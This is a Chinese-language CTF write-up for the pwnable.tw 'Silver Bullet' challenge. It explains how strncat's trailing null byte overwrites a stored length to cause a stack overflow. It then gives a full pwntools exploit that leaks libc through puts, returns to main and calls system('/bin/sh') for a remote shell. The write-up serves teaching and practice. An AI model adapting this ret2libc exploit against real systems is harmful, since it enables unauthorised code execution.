美文网首页CTF Re&&Pwn
【CTF-PWN】pwnable.tw_Silver Bulle

【CTF-PWN】pwnable.tw_Silver Bulle

作者: Kirin_say | 来源:发表于2018-07-02 11:12 被阅读12次

pwnable.tw_challenge_Silver Bullet

打开程序:

./silver_bullet
+++++++++++++++++++++++++++
       Silver Bullet       
+++++++++++++++++++++++++++
 1. Create a Silver Bullet 
 2. Power up Silver Bullet 
 3. Beat the Werewolf      
 4. Return                 
++++++++++++++++++++++++++

类似一个游戏
开始没看懂怎么玩
直接载入IDA分析:

0x01 power_up

int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 0x2Fu )         // *(dest+12)指针指向的值 > 47
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *((_DWORD *)dest + 12));  // 限制读入长度
  strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串,会自动在结尾添加\x00
  v3 = strlen(&s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}

0x02 create_bullet

int __cdecl create_bullet(char *s)
{
  size_t v2; // ST08_4

  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 0x30u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);           // s的长度
  *((_DWORD *)s + 12) = v2;                     // +12指12个dword长度
  return puts("Good luck !!");
}

0x03 漏洞利用

可以看出漏洞与决定游戏成功的beat函数无关
关键在power_up函数处:

read_input(&s, 48 - *((_DWORD *)dest + 12));  
 strncat(dest, &s, 48 - *((_DWORD *)dest + 12));

这里依赖*dest+12处的值来限制读取长度
而*dest后的数据可以利用strnca修改
strncat会在字符串结尾自动补全\x00
当我们先读取了一定长度字符串
再连接一定长度字符串,两字符串恰好相加为48字节
并由于strncat自动添加\x00,便会覆盖*dest+12处的数据,造成栈溢出
而此时依然依赖*dest+12处的值来限制读取长度
我们便可以继续覆盖栈内数据
直到将main返回地址修改
我们需要调用system,便需要直到libc加载的基地址
同hacknote相同
我们可以修改main返回地址为put地址(即put在plt中的地址)
参数为.got中一个地址
便可利用put出的值以及此函数在libc中的位置计算出libc的基址
进而计算出system地址
而后我们重新利用上面的过程来调用system
所以我们要重新调用main来重复利用上述过程
此处我们将put的返回地址覆盖为main开始地址即可
有一点注意:
只有beat()成功时才会返回main
否则直接return会以exit(0)方式退出
故而覆盖*dest+12处的数时,需要让他满足win的条件

0x04 EXP

from pwn import *

def create(s):
    p.recvuntil(':')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline(s)

def power_up(s):
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil(':')
    p.send(s)

def beat():
    p.recvuntil(':')
    p.sendline('3')

p=remote('chall.pwnable.tw', 10103)
elf=ELF("./silver_bullet")
elib=ELF("./libc_32.so.6")
bin_sh_off = 0x158e8b
puts_addr=0x80484a8
read_got=elf.got["read"]
main_addr=elf.symbols["main"]
create('a'*47)
power_up('a')
payload = '\xff'*7+p32(puts_addr)+p32(main_addr)+p32(read_got)
power_up(payload)
beat()
p.recvuntil("You win !!\n")
read_addr = u32(p.recv(4))
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
bin_sh_addr=read_addr-elib.symbols["read"]+bin_sh_off
create('a'*47)
power_up('a')
payload2='\xff'*7 + p32(sys_addr) + 'a'*4 + p32(bin_sh_addr)
power_up(payload2)
beat()
p.interactive()

相关文章

网友评论

    本文标题:【CTF-PWN】pwnable.tw_Silver Bulle

    本文链接:https://www.haomeiwen.com/subject/rrocuftx.html